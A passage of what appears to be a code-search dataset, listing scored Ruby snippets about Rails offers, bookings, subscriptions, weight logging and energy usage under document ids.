= Offer.paginate(page: params[:page])\n end", "title": "" }, { "docid": "a417ac6c0bcd6ae648cf13e61cf0dd46", "score": "0.58917123", "text": "def index\n @offers = Offer.where(initiator_user_id: current_user.id).or(Offer.where(creator_user_id: current_user.id))\n\n render json: OffersRepresenter.new(@offers).as_json\n end", "title": "" }, { "docid": "685fa4296dfd33d15f2103c7cb3ea3d7", "score": "0.5876815", "text": "def show\n @part_two_result = PartTwoResult.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @part_two_result }\n end\n end", "title": "" }, { "docid": "9124bfce4298d184373ad67a154ad525", "score": "0.5875062", "text": "def show\n #@payments= @booking.payments\n @rooms_booked= @booking.rooms\n @room_services= @booking.room_services\n #render json: @room_services\n end", "title": "" }, { "docid": "345ad96bfaa30cfa935ffb5268e1653d", "score": "0.58564645", "text": "def show\n @offers_for_listing = listing.offers.page params[:page]\n listing.offers.pending.each do |offer|\n offer.update_attributes!(status: :read)\n end\n end", "title": "" }, { "docid": "8b9b1d05b8d5909224dd6d77cbc53ba7", "score": "0.58548224", "text": "def index\n @offerers = Offerer.all\n end", "title": "" }, { "docid": "958613761c086217bfe1fe06f8735eb5", "score": "0.58511794", "text": "def index\n @portal_offerings = Portal::Offering.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @portal_offerings }\n end\n end", "title": "" }, { "docid": "958613761c086217bfe1fe06f8735eb5", "score": "0.58511794", "text": "def index\n @portal_offerings = Portal::Offering.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @portal_offerings }\n end\n end", "title": "" }, { "docid": "8bcf716647e4f58db2caab28cd44d503", "score": "0.5849378", "text": "def show\n # return redirect_to offers_path unless @offer.is_parent_offer?\n setup_ratings\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "title": "" }, { "docid": "fa5859ee26f401f0811976001ffbb2e7", "score": "0.5846274", "text": "def index\n @email = Admin::Customer::Email.find_by_tracking(params[:email_id]) if @email.nil?\n @admin_customer_offers = @email.offers\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_customer_offers }\n end\n end", "title": "" }, { "docid": "8cabf691b14b288e5c319b63ba399da5", "score": "0.5842333", "text": "def index\n if !params[:merchant_id]\n @offers = Offer.all\n else\n @offers = Offer.where(merchant_id: params[:merchant_id])\n end\n\n render json: @offers\n end", "title": "" }, { "docid": "0126bea5eea820ae70426adb5ca66e31", "score": "0.5827571", "text": "def offers(body)\n url = \"/offers\"\n cache_key = url + \"_\" + body.sort.map(&:last).join(\"_\")\n post(url, body: body.to_json, cache_key: cache_key, expired?: offer_expired?)\n end", "title": "" }, { "docid": "cb212389c502b20bae0f3d0f5e24dc83", "score": "0.58274496", "text": "def new\n @offering = @term.offerings.build\n @offering.prepare_for_form\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offering }\n end\n end", "title": "" }, { "docid": "c0cb4e2cf8381abe48fc829ff26e65f8", "score": "0.58177006", "text": "def new\n @offer = Offer.find(params[:offer_id])\n @subscription = Subscription.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "title": "" }, { "docid": "b6d72ce1c83c2ba5bcd1b4c99b00830b", "score": "0.5810766", "text": "def index\n @dining_offers = DiningOffer.all\n end", "title": "" }, { "docid": "7feaafe88faac2b812d46ddd5a851fbb", "score": "0.58036023", "text": "def list\n @bookings = Booking.all.find(:hotel_id == params[:bookings_for_hotel])\n @bookings = Booking.all.find(:conditions => [\"hotel_id = ? \", params[:bookings_for_hotel]])\n @bookings = Booking.find_by_hotel_id_and_bookings_for_hotel(hotel_id, params[:bookings_for_hotel])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @booking }\n end\n end", "title": "" }, { "docid": "1ae6075fcbdf4d4700abee6c8c1a0b09", "score": "0.5801821", "text": "def tool_bookings\n @bookings = Booking.where(tool_id: params[:id])\n render json: @bookings, :root => false\n end", "title": "" }, { "docid": "ca8b1e9fbf1875aaa59b876a0e9449c5", "score": "0.5782431", "text": "def index\n @offers_request = OffersRequest.new params[:offers_request] && offers_request_params\n if params[:offers_request] && @offers_request.valid?\n @offers = @offers_request.fetch!\n end\n end", "title": "" }, { "docid": "1bce7af2923446c9f2b723cbd8404741", "score": "0.5775273", "text": "def index\n @offerlists = Offerlist.all\n end", "title": "" }, { "docid": "9527fe90efe705e736390ec7433b6de8", "score": "0.5774307", "text": "def index\n @grouped_offerings = @course_offerings.group_by(&:term)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @course_offerings }\n end\n end", "title": "" }, { "docid": "b4074954b5e464831ce46f740491b7ca", "score": "0.5770605", "text": "def index\n @individual_offers = IndividualOffer.all\n end", "title": "" }, { "docid": "f93bc2397b062e957cd917025b462cc7", "score": "0.5760334", "text": "def show\n @parking_lot_booking = ParkingLotBooking.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @parking_lot_booking }\n end\n end", "title": "" }, { "docid": "876c0bcf1e61c43efe6fdd226ae31441", "score": "0.57572156", "text": "def get(params)\n params = params.dup\n params[:appid] = Rails.application.secrets[:appid]\n params[:format] = :json\n params[:device_id] = Rails.application.secrets[:device_id]\n params[:locale] = :de\n params[:ip] = Rails.application.secrets[:ip]\n params[:offer_types] = Rails.application.secrets[:offer_types]\n params[:timestamp] = Time.current.to_i\n params = add_hashkey params\n uri = URI Rails.application.secrets[:api_url]\n uri.query = params.to_param\n res = Net::HTTP.get_response(uri)\n response_class = res.class\n if res.body.present?\n res = JSON.parse res.body\n if response_class == Net::HTTPOK and\n (res.keys & %w[code count pages offers]).size == 4\n res.slice! *%w[code count pages offers]\n res\n else\n I18n.t 'offers_request.bad_response', name: (res['code'] || response_class)\n end\n else\n I18n.t 'offers_request.bad_response', name: response_class\n end\n rescue JSON::ParserError => e\n I18n.t 'offers_request.bad_response', name: response_class\n end", "title": "" }, { "docid": "c02b9d80a3261ba1fc34563e12fcfa64", "score": "0.5746137", "text": "def index\n @offers = Offer.paginate(page: params[:page])\n end", "title": "" }, { "docid": "9f5e62aa4b34b1d3a80312f2a4b5f072", "score": "0.5738967", "text": "def offers() Offer.all(:product_ids => self.id) end", "title": "" }, { "docid": "dce055789443c9b14622e093c643c36f", "score": "0.5737609", "text": "def show\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "title": "" }, { "docid": "38facebe2f5c89b156bf1c59e6fd9fc4", "score": "0.5734775", "text": "def load_offer\n end", "title": "" }, { "docid": "75bc671d2029f30d4987616e08defff2", "score": "0.5733517", "text": "def offer\n return nil unless item_or_call_log?\n return item if item_type == \"Offer\"\n return related if related_type == \"Offer\"\n end", "title": "" }, { "docid": "d31191c89f01405699c9d263af6b2e42", "score": "0.5726495", "text": "def show\n @offer = Offer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "title": "" }, { "docid": "475ab865dece22e465c011ef278711c0", "score": "0.57212996", "text": "def index\n @offertes = Offerte.all\n end", "title": "" }, { "docid": "ffb2bcf8d70bbb2215dcf496ccae8bfa", "score": "0.5721138", "text": "def index\n @q = @offers.search params[:q]\n @offers = @q.result.page(params[:page])\n end", "title": "" } ]
a1db977b2f571c453bc544189fbe2aa6
5. I can log my weight at the end of the week
[ { "docid": "8abf31cc907ec37d83412c54b5d86778", "score": "0.6470833", "text": "def log_my_weight(weight)\n self.current_weight = weight\n self.save\n puts \"Current weight #{weight}\"\n end", "title": "" } ]
[ { "docid": "9f168aad32317f62155e352ff8af072a", "score": "0.6330222", "text": "def weight_on_date(date)\n get_call(\"/1/user/#{@user_id}/body/log/weight/date/#{format_date(date)}.json\")\n end", "title": "" }, { "docid": "18c7f3688497349a61abbead7d1d916e", "score": "0.6330165", "text": "def add_demand(date, kwh)\n return 0 unless level(date) != :off_peak\n\n if kwh > 20\n p [kwh, date, level(date)]\n end\n\n super\n end", "title": "" }, { "docid": "66a28e97a591793508b00ce5fcb134d6", "score": "0.6274216", "text": "def log_weight(weight, date, time = nil, options = {})\n params = key_value_date_time_params('weight', weight, date, time)\n post_json(path_user_version('/body/log/weight', options), params)\n end", "title": "" }, { "docid": "fd549bc770002b91cc0c822d4cd5aea8", "score": "0.6186279", "text": "def wday() end", "title": "" }, { "docid": "1f188794535baaeb18f3c4dc49ee0c68", "score": "0.61630857", "text": "def w_day; end", "title": "" }, { "docid": "a68499f0d62fb6bbb99813dff93316a8", "score": "0.61469686", "text": "def add_demand(date, kwh)\n return 0 unless level(date) != :off_peak\n super\n end", "title": "" }, { "docid": "f73ee2e8b93fcdfe9f9d65d8213e84c6", "score": "0.61299884", "text": "def thirty \n now = Date.today\n end_date = Date.today + 30\n dates = (now...end_date).to_a\n create_log(dates) \n end", "title": "" }, { "docid": "54eab780ce14f799b061f057a9da2485", "score": "0.6126017", "text": "def daily\n logger.info \" daily\"\n end", "title": "" }, { "docid": "ca3aee980aaef7c4d08bb3e7f6b26439", "score": "0.6092013", "text": "def mweek; (5 - wday + day) / 7 end", "title": "" }, { "docid": "c940c075bed2afd8becb8149f86a187c", "score": "0.6082499", "text": "def current_week_kwh_usage\n total_week_kwh_usage_until(Time.now.utc.to_date).round(2)\n end", "title": "" }, { "docid": "ac59344767c2026518a10462ecd36312", "score": "0.60398006", "text": "def changerate\n\t\tuser = current_user\n\t\tbodylogs = user.bodylogs.where(:created_at => 1.week.ago..Date.tomorrow) #one week of kcal records\n\t\tif bodylogs.count('kcal') != 7 # make sure there are 7 kcal entries for this week.\n\t\t\treturn \"Not enough consistent log entries to calculate\"\n\t\telse\n\t\t\tprofile = user.profile\n\t\t\tar = Array.new\n\t\t\tbodylogs.each do |b|\n\t\t\t\tm = harrisbenedict(profile.gender, profile.height, profile.age, b.weight, profile.activity)\n\t\t\t\tar.push(b.kcal - m[:maintenance]) #m[:maintenance] = maintenance calories.\n\t\t\tend\n\t\t\tsum = ar.sum\n\t\t\tchange = (sum / 7000) #7000 kcal = 1kg of fat\n\t\t\treturn change\n\t\tend\n\tend", "title": "" }, { "docid": "61c610c71f4113c09324310008a26033", "score": "0.6024036", "text": "def fortnights ; self * 2.weeks ; end", "title": "" }, { "docid": "22670ec533cc9c191ebfbbd05a2994f5", "score": "0.601397", "text": "def weight_loss(db, member_id, time_frame)\n total_pounds= []\n t = DateTime.now\n past_week = ((t-6)..t).map{ |date| date.strftime(\"%m-%d\") }\n this_month = Time.now.strftime(\"%m\") \n if time_frame == \"week\"\n past_week.each do |x|\n updated_weight = db.execute(\"SELECT * FROM weight WHERE member_id='#{member_id}' AND day='#{x}' \")\n updated_weight.each do |pounds|\n total_pounds << pounds['current_weight']\n end \n end\n else \n updated_weight = db.execute(\"SELECT * FROM weight WHERE member_id='#{member_id}' AND month='#{this_month}' \")\n updated_weight.each do |pounds|\n total_pounds << pounds['current_weight']\n end \n end \n weight_loss= total_pounds.max - total_pounds.min \nend", "title": "" }, { "docid": "fdf7dff39ef2c3c9b2456840f9b560bd", "score": "0.601093", "text": "def calculate_calories_burned\n type = activity.activity_type\n user_weight = user.recent_most_weight.value\n user_weight = user_weight < 1 || user_weight.nil? ? 0 : user_weight\n # Our global intensity multipler\n intensity = 1 + (activity.intensity / 10)\n\n case type\n\n when 0 # Weight lifting\n self.calories = 0 and return true if work == 0\n # Calculate the joules expended\n joules = (self.work / 1000) * 9.81 * 0.75\n # Calories per rep\n per_rep = (joules * 0.000239006) * 5 # Times 5 here because 5 * 20 = 100; Muscles are roughly 20% efficient\n # Multiplier for heart rate elevation and work intensity. Default is 1.5\n # if we don't know their weight\n multiplier = user_weight == 0 ? 1.5 : 3.5 * (self.work / user_weight)\n # The full formula\n calories_burned = per_rep * reps * multiplier * intensity\n self.calories = calories_burned.round(2)\n\n when 1 # Timed things\n # Altering our intensity to work in the formula at\n # http://ask.metafilter.com/48652/Walking-formula\n intensity = intensity / 100\n intensity = intensity < 0.015 ? 0.015 : intensity\n # Convert user_weight to pounds from grams\n user_weight = user_weight * 0.00220462\n # Work here will be time in seconds\n self.calories = (intensity * user_weight * (work / 60)).round(2)\n\n when 2 # Distance\n # Credit: NET calories burned per miles as listed at\n # https://www.checkyourmath.com/convert/length/miles_mm.php\n #\n # Find our intensity. Basic running is .65, walking is .3, sprinting is\n # all the way at .8\n intensity = intensity - 1\n intensity = intensity < 0.2 ? 0.2 : intensity\n intensity = intensity > 0.8 ? 0.8 : intensity\n # Convert their weight to pounds\n user_weight = user_weight * 0.00220462\n # Convert the unit of work from mm to miles\n work_in_miles = self.work * 0.00000062\n # And finally\n self.calories = (intensity * user_weight * work_in_miles).round(2)\n\n when 3 # Repetitions\n # A VERY simple and dirty calculation here. Basically, any of these reps\n # are going to be bodyweight, ranging from ridiculously easy for even the\n # most out of shape people (like a simple crunch), to something difficult\n # for even professional athletes (dragon flags). So we'll have a baseline\n # of 1 calorie, and range up to 6 per repetition depending on the exercise's\n # intensity\n intensity = (activity.intensity / 2).round\n intensity = intensity < 1 ? 1 : intensity\n self.calories = intensity * self.reps\n else\n\n self.calories = 0\n end\n end", "title": "" }, { "docid": "5e77673c790bbdef1474ebddb77aa55c", "score": "0.59977376", "text": "def battery_weight; end", "title": "" }, { "docid": "9ac256813a6e10e12cb4edc6a6217c6f", "score": "0.59683645", "text": "def current_day_kwh_usage\n total_day_kwh_usage_on(Time.now.utc.to_date).round(2)\n end", "title": "" }, { "docid": "f2cb3a06f55e1a77697325a02da87141", "score": "0.596083", "text": "def week; end", "title": "" }, { "docid": "93ae9a57d846755878d4886366ef6272", "score": "0.5955692", "text": "def document_progress(new_weight, old_weight)\n if self.goal == \"Lose Weight\"\n self.weight_histories.create(weight_recording: (old_weight - new_weight))\n elsif self.goal == \"Gain Weight\"\n self.weight_histories.create(weight_recording: (new_weight - old_weight))\n end\n end", "title": "" }, { "docid": "4548c2b21850b62b6beb7f59dbeb3328", "score": "0.59257203", "text": "def time_estimate(profile)\n\t\tuser = current_user\n\t\tif profile.weighttarget == nil || changerate == nil\n\t\t\treturn \"You need a target weight and at least 7 consistent log entries.\"\n\t\tend\n\t\tlastlog = user.bodylogs.last\n\t\tif lastlog.weight\n\t\t\tcurrent_weight = lastlog.weight\n\t\t\tdiff = current_weight - profile.weighttarget\n\n\t\t\trate = actualChangeRate()\n\t\t\tif rate.to_f != 0\n\t\t\t\tif rate > 0 && diff > 0\n\t\t\t\t\treturn \"You've been moving away from your target weight goal for the past week\"\n\t\t\t\telsif rate < 0 && diff < 0\n\t\t\t\t\treturn \"You've been moving away from your target weight goal for the past week\"\n\t\t\t\telse\n\t\t\t\t\treturn ((diff / rate).abs).round(1)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\treturn \"-\"\n\t\t\tend\n\t\telse\n\t\t\treturn \"No current weight logged\"\n\t\tend\n\tend", "title": "" }, { "docid": "af7611d068f0665c82b8a8cec70eb122", "score": "0.5868628", "text": "def threshold_for_offline\n 8.days\n end", "title": "" }, { "docid": "cc7f7360114cfd55235c70711623ff5b", "score": "0.58673453", "text": "def water_level\n end", "title": "" }, { "docid": "cc7f7360114cfd55235c70711623ff5b", "score": "0.58673453", "text": "def water_level\n end", "title": "" }, { "docid": "3de3388f9a0ba77608a12561639b533b", "score": "0.5862671", "text": "def sunday_weekly_batch\n JdeFetch.checking_buffer\n JdeFetch.checking_item_cost\n end", "title": "" }, { "docid": "80fe34090f8efb3a2b60ed9edcd8ea41", "score": "0.58268595", "text": "def food_per_week\n cups_of_food = 20\n cups_of_food -= @age * 2\n cups_of_food > 0 ? cups_of_food : 1\n end", "title": "" }, { "docid": "79723d18e88f74f048799677f037838f", "score": "0.5822633", "text": "def cweek\n end", "title": "" }, { "docid": "8fbcd04054f6c88696ca5550845e4d0b", "score": "0.58125514", "text": "def smoked_this_week\n Smoke.by_user(id).this_week(Date.today).sum(:counted) || 0\n end", "title": "" }, { "docid": "47865ca9a1eb231ccf72164509e0acc8", "score": "0.57861966", "text": "def thirty_day_weight_graph\n series = (Date.today - 1.month)..(Date.today)\n series.map do |date|\n weight = if date == Date.today\n active_body_weight_record(Time.now)&.weight\n else\n active_body_weight_record(date)&.weight\n end\n next unless weight\n [date, weight]\n end.compact\n end", "title": "" }, { "docid": "9a6db00af533acd8d1d6e6706284c1a0", "score": "0.5773297", "text": "def daily_thievery\r\n\t\t@inventory += (@thieves)*3\r\n\tend", "title": "" }, { "docid": "ab39aaa7dc9c5fff643a487ee592465b", "score": "0.5741347", "text": "def weight; end", "title": "" }, { "docid": "ab38a27e56373aea744c69080760ccae", "score": "0.572532", "text": "def weight_at(time)\n weight_entries = self.tracker_entries.joins(:tracker).where(\"trackers.name = ?\", \"weight\")\n closest_in_past = weight_entries.where(\"logged_on < ?\", time.utc).order(:logged_on).last\n \n if closest_in_past\n closest_in_past.quantity\n end\n end", "title": "" }, { "docid": "a7607525628ce2afa75b62d8911e8ec9", "score": "0.57182026", "text": "def log_and_hire(amount)\n Logger.message(\"Hiring more workers so we have #{ amount } in total.\")\n workers(amount)\n end", "title": "" }, { "docid": "1205485fd5f733cb4ddb0fa3f5120a86", "score": "0.57039183", "text": "def current_bmi_alert\n weight = self.current_weight\n height = self.current_height\n alert = nil\n unless weight == 0 || height == 0\n current_bmi = (weight/(height*height)*10000).round(1);\n if current_bmi <= 18.5 && current_bmi > 17.0\n alert = 'Low BMI: Eligible for counseling'\n elsif current_bmi <= 17.0\n alert = 'Low BMI: Eligible for therapeutic feeding'\n end\n end\n\n alert\n end", "title": "" }, { "docid": "3b4e4a06eaa54cdce793e8e277bcd77a", "score": "0.57034653", "text": "def weeks() 7 * days end", "title": "" }, { "docid": "da85ea0c39c5706d1c683d29473a5732", "score": "0.5676835", "text": "def log_water(opts)\n unless opts[:amount] && opts[:date]\n raise Fitgem::InvalidArgumentError, \"Must include both an :amount and :date to log water\"\n end\n\n opts[:date] = format_date(opts[:date])\n post(\"/user/#{@user_id}/foods/log/water.json\",opts)\n end", "title": "" }, { "docid": "1abc04ca245bab9a74a88bd610c2a3fc", "score": "0.567366", "text": "def current_weekly_average\n week_number = Time.now.yday / 7\n @cycling[2] = @cycling[0] / week_number\n @entertainment[2] = @entertainment[0] / week_number\n @programming[2] = @programming[0] / week_number\n @reading[2] = @reading[0] / week_number\n @yoga[2] = @yoga[0] / week_number\n end", "title": "" }, { "docid": "e604feff62f88a30bf60a5d7355f91ae", "score": "0.56515855", "text": "def week\n stamp = params[:stamp].to_i\n interval = (params[:interval] || 10).to_i\n plus_weeks = (params[:plus_weeks] || 0).to_i\n context = (params[:context] || 0).to_i == 1 ? true : false\n time = Time.at(stamp).utc\n\n # Calculate monday from given date\n wday = time.wday\n # Adjust for sunday when we want to start on a monday\n wday = 7 if wday == 0\n\n date = time - (wday.days - 1.days)\n\n date = date + plus_weeks.weeks\n\n # Number of days in week range if we add context, we add the surrounding weeks as well\n days = context ? (7 * 3) - 1 : 6\n\n # If context we'll start at the monday before\n if context\n date -= 7.days\n end\n\n\n\n week_data = []\n week_dates = []\n\n buckets = 0.step((60 * 24) - 1, interval).to_a\n\n (0..days).each do |day|\n interval_data = Hash.new { |h, k| h[k] = [] }\n\n data = GlucoseSensorData.by_day(date.to_date, :field => :timestamp)\n\n data.each do |datum|\n minutes = datum.timestamp.min + (datum.timestamp.hour * 60)\n # At first seems like a no op but this actually buckets minutes into intervals\n bucket = (minutes / interval) * interval\n\n interval_data[bucket] << datum\n end\n\n week_context = nil\n\n if context\n week_number = day / 7\n if week_number == 0\n week_context = \"before\"\n elsif week_number == 1\n week_context = \"current\"\n else\n week_context = \"after\"\n end\n else\n week_context = \"current\"\n end\n\n buckets.each do |bucket|\n datum = {}\n\n datums = interval_data[bucket]\n # Averages glucose values if there are more than one datum for that bucket\n if datums.length > 0\n datum[:glucose] = datums.inject(0.0) { |sum, d| sum + d.glucose } / datums.size\n #datum[:timestamp] = datums[0].timestamp.to_i\n end\n datum[:timestamp] = (date + bucket.minutes).to_i\n datum[:week_context] = week_context\n\n\n datum[:time] = bucket\n datum[:day] = date.strftime(\"%A\").downcase\n datum[:date] = date.to_i\n week_data << datum\n end\n\n week_dates.push({ :week_context => week_context, :day => date.strftime(\"%A\").downcase, :date => date.to_i })\n date += 1.days\n end\n\n render :json => { :data => week_data, :interval => interval, :week_dates => week_dates }\n end", "title": "" }, { "docid": "3cdf1627f409ed00d9ec756ea7f4e27f", "score": "0.5647178", "text": "def total_day_kwh_usage_on(date)\n raise \"Invalid argument: Please use a date value that is not in the future\" if (date > Time.now.utc.to_date)\n\n cumulative_hourly_kwh_usage = 0.0\n (0..23).each do |i|\n cumulative_hourly_kwh_usage += self.total_hour_kwh_usage_on(date, i)\n #puts cumulative_hourly_kwh_usage.to_s\n end\n cumulative_hourly_kwh_usage\n end", "title": "" }, { "docid": "05285d6148e9d2cca8f6548711f14a4d", "score": "0.5635683", "text": "def weekly(user)\n @user = User.find(user)\n @points_away = Level.find(@user.level).points - @user.points\n mail(to: \"#{@user.name} <#{@user.email}>\", subject: \"Its Your Weekly Reminder to be Awesome\")\n end", "title": "" }, { "docid": "bca3859608cc93508447188cd4a01e5e", "score": "0.56172603", "text": "def evaulate_schedule\n 5\n end", "title": "" }, { "docid": "7f899b183ef335b2c40a676cd1d9815d", "score": "0.56172466", "text": "def dumptotal\n # expire > 15minute dumps\n @dumptrack.reject! { |r| (r[3] + 900) < Time.now }\n total = 0\n @dumptrack.each do |t|\n if t[2] == \"bid\"\n total += t[0].to_i\n elsif t[2] == \"ask\"\n total -= t[0].to_i\n else\n debug(\"failed to match #{t[2]} trade type for total.\")\n end\n end\n # get 5 minute\n alert_msg = \"Sum of whale action; In the last 15 minutes:\"\n add_message(\"*** 15 minute whale action is over the 375 btc threshold! #{total} BTC (alert sleep timer set 1000s)\") if total.abs >= 375\n if total > 0\n return alert_msg + \" + #{total.abs} BTC (bought)\"\n elsif total < 0\n return alert_msg + \"- #{total.abs} BTC (sold)\"\n else\n return \"Last 15 minutes: nothing happening..\"\n end\n end", "title": "" }, { "docid": "e9f1bae0011ddc622f91b87c944408a1", "score": "0.56023747", "text": "def weekly_points\n weekly_crime_points + weekly_suspension_points\n end", "title": "" }, { "docid": "61170138d112ac5ab90cfaeaaf92e971", "score": "0.5593606", "text": "def cooking_time(eggs)\n (eggs.to_f / 8).ceil * 5\nend", "title": "" }, { "docid": "3d794add86aa7471abeb46f1c1916de0", "score": "0.55912054", "text": "def logs_last_week(user)\n @user = user\n mail(to: @user.email, subject: 'TimeTrckr.com: Your Logs from Last Week')\n end", "title": "" }, { "docid": "39317bf124f8271a171686c96b2aa67c", "score": "0.558486", "text": "def high_five; end", "title": "" }, { "docid": "3982ad533389dea3d8cb4ed709680e0e", "score": "0.55745924", "text": "def work(interval = 5.0)\n end", "title": "" }, { "docid": "29c9eae90d8a2db1ff94ba57a5c9d5aa", "score": "0.55647904", "text": "def quality_driven_software_export\n @from = Time.zone.now - 1.week\n @to = Time.zone.now\n end", "title": "" }, { "docid": "2f2e4b8cab1ebb26ed2654122b5c9635", "score": "0.55585635", "text": "def last_7_day_kwh_usage_by_day\n usage_data = []\n Time.now.utc.to_date.downto(6.days.ago.utc.to_date).each do |date|\n usage_data << total_day_kwh_usage_on(date).round(2)\n end\n usage_data\n end", "title": "" }, { "docid": "8026280b22c7972c37c955f799e9779e", "score": "0.55569094", "text": "def average\n average = @log.values.inject { |sum, el| sum + el }.to_f / log.values.size\n puts @log.values.last < average ? \"Today you had less than your average amount! Keep up the good work!\" : \"You smoked more than average today, stressful day?\"\n end", "title": "" }, { "docid": "cbf642fa175bc2e8ad71775e66603ec1", "score": "0.55323815", "text": "def best_day\n\n end", "title": "" }, { "docid": "8cea4155390e8a6a51bee9d6dc913139", "score": "0.5531543", "text": "def set_metrics\n @user = current_user\n recent = @user.recent_most_weight\n @weightentry = recent.nil? ? @user.weightentries.build(day: current_day) : recent\n render \"metrics\"\n end", "title": "" }, { "docid": "bdb553f234167028242559148b06f9a3", "score": "0.5526513", "text": "def calculate_overall_power_for\n t = Time.zone.now\n\n until_today = self.energy_data.where(:year=>t.year, :month=> (1..(t.month)), :day=>(1..t.day-1)).sum(\"power\") # total in Wh\n today = self.energy_data.where(:year=>t.year, :month=>t.month, :day=>t.day, :hour=>(1..t.hour)).sum(\"power\") # total in Wh\n until_today + today\n end", "title": "" }, { "docid": "759598d6673b8f681fc039dbb67dfca1", "score": "0.5519437", "text": "def rate; end", "title": "" }, { "docid": "759598d6673b8f681fc039dbb67dfca1", "score": "0.5519437", "text": "def rate; end", "title": "" }, { "docid": "1de6a3969aacc8b2add8b1933fc07a33", "score": "0.55100995", "text": "def enter_weight(db, day, current_weight, member_id)\n month = Time.now.strftime(\"%m\") \n db.execute(\"INSERT INTO weight (day, month, current_weight, member_id) VALUES (?, ?, ?, ?)\", [day, month, current_weight, member_id])\nend", "title": "" }, { "docid": "ac58075b77b9d62eb23b3ea1a0c2c037", "score": "0.55050176", "text": "def days_old_weight\n difference = Date.today - self.created_at.to_date\n HesPosts.days_old_weight.keys.sort{|x,y| y <=> x}.each do |day| \n return HesPosts.days_old_weight[day] if difference >= day\n end\n return 1\n end", "title": "" }, { "docid": "6275cf944bdf29a7f58081452f86499d", "score": "0.55008346", "text": "def time_management\n @personal_best = current_user.reports.map(&:time_management).max.round(2) rescue 0\n @personal_best = \"#{@personal_best}% Questions Attended\"\n learning_curve 'time_management'\n data_presenter 'time_management'\n end", "title": "" }, { "docid": "323fb137ebf35bf8205a45155b4f0155", "score": "0.54985136", "text": "def speed_of_spread #in months\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else \n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "323fb137ebf35bf8205a45155b4f0155", "score": "0.5497869", "text": "def speed_of_spread #in months\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else \n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "2a5104d2eeaf1dd831c2d659f632b6cb", "score": "0.5485638", "text": "def notify_usage( user )\n most_recent = Usage.first :conditions => { :site => user.site }, :order => 'period_from DESC'\n # 24hr can be nil during free download periods\n if most_recent && most_recent.download_24hr && most_recent.download_24hr >= user.warning_threshold\n logger.info(\" notifying: #{most_recent.download_24hr}/#{user.warning_threshold}\")\n Notifier.deliver_usage_message( user, most_recent ) \n end\nend", "title": "" }, { "docid": "33bf3f8c8fe467f2f50de6db742b334a", "score": "0.54820484", "text": "def weekly_sell\n @weekly_sell ||= settle_items.last_week.sum('quantity')\n end", "title": "" }, { "docid": "779ab6d368987a2d4081124e49cd0ac1", "score": "0.548143", "text": "def speed_of_spread() #in months\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else \n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "779ab6d368987a2d4081124e49cd0ac1", "score": "0.548143", "text": "def speed_of_spread() #in months\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else \n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "74bdd453ea8a8a7fb674fc04237dad5a", "score": "0.5473486", "text": "def lead_time\n 4\n end", "title": "" }, { "docid": "b4a97503724824c054217fa5e6f2bad7", "score": "0.5473132", "text": "def calculate_week_power_for\n dates, totals = consolidate_week\n\n weekPowerCount = 0\n\n totals.each do |index, total|\n weekPowerCount+=total\n end\n\n weekPowerCount\n end", "title": "" }, { "docid": "c357b089758c8193172fddf4a0c10458", "score": "0.5468771", "text": "def cooking_time\n end", "title": "" }, { "docid": "641d9c31f0abcb0af08078c84d93e737", "score": "0.54628", "text": "def currentWeight() weighins.last.weight end", "title": "" }, { "docid": "995c5612d62f19609bae69112937eb5f", "score": "0.5452782", "text": "def weekly\n user = User.first\n TipMailer.weekly(user)\n end", "title": "" }, { "docid": "bf948746e3fb65e2a2466e9fa62a2e3d", "score": "0.54514855", "text": "def usage_interval\n\n end", "title": "" }, { "docid": "0106c42355e7ff12bb9f3b51b45558df", "score": "0.5449537", "text": "def weekly_pay(rate, hours = 40)\n hours * rate\nend", "title": "" }, { "docid": "93ffcbafb7036962d8a3207a825ba4fc", "score": "0.544728", "text": "def weekly_smallV_report(count, budget, total_consumed, kol_count, real_kol_count)\n puts \"Prepare for weekly email\"\n @count = count\n @budget = budget\n @total_consumed = total_consumed\n @kol_count = kol_count\n @real_kol_count = real_kol_count\n mail(:to => 'app_report@robin8.com', :subject => \"【Robin8】Small-V weekly report\",:from => \"Robin8 <system@robin8.com>\")\n puts \"Weekly email sent\"\n end", "title": "" }, { "docid": "17c7ab32adf90fdc7682cf805cca7627", "score": "0.5442534", "text": "def nth_wday; (day - 1) / 7 end", "title": "" }, { "docid": "1d9efe98dbaed679ae7e1dff32a1530b", "score": "0.54424995", "text": "def check_weight(current_weight_kg)\n \n # currentWeightKG calculated thanks to weight sensors\n if (current_weight_kg > @max_weight_kg)\n\n # Display 10 warnings\n for _ in 1..10 do\n puts \"\\nALERT Maximum weight capacity reached on Elevator 